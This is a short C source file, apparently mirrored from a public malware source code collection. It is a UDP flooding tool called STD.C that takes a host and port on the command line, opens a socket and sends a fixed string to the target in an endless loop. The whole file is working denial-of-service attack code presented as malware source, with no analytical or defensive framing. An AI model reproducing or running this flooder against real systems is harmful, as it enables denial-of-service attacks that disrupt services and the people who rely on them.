mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
49 lines
1.1 KiB
C
49 lines
1.1 KiB
C
/* STD.C By stackd - (root@stackd.net) Define strings to what you feel fit */
|
|
|
|
#define STD2_STRING "std"
|
|
#define STD2_SIZE 50
|
|
|
|
#include <stdio.h>
|
|
#include <sys/param.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <stdarg.h>
|
|
|
|
int echo_connect(char *, short);
|
|
|
|
int echo_connect(char *server, short port)
|
|
{
|
|
struct sockaddr_in sin;
|
|
struct hostent *hp;
|
|
int thesock;
|
|
hp = gethostbyname(server);
|
|
if (hp==NULL) {
|
|
printf("Unknown host: %s\n",server);
|
|
exit(0);
|
|
}
|
|
printf(" STD.C -- Packeting %s:%d\n ", server, port);
|
|
bzero((char*) &sin,sizeof(sin));
|
|
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
|
|
sin.sin_family = hp->h_addrtype;
|
|
sin.sin_port = htons(port);
|
|
thesock = socket(AF_INET, SOCK_DGRAM, 0);
|
|
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
|
|
return thesock;
|
|
}
|
|
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
int s;
|
|
if(argc != 3)
|
|
{
|
|
fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
|
|
exit(0);
|
|
}
|
|
s=echo_connect(argv[1], atoi(argv[2]));
|
|
for(;;)
|
|
{
|
|
send(s, STD2_STRING, STD2_SIZE, 0);
|
|
}
|
|
} |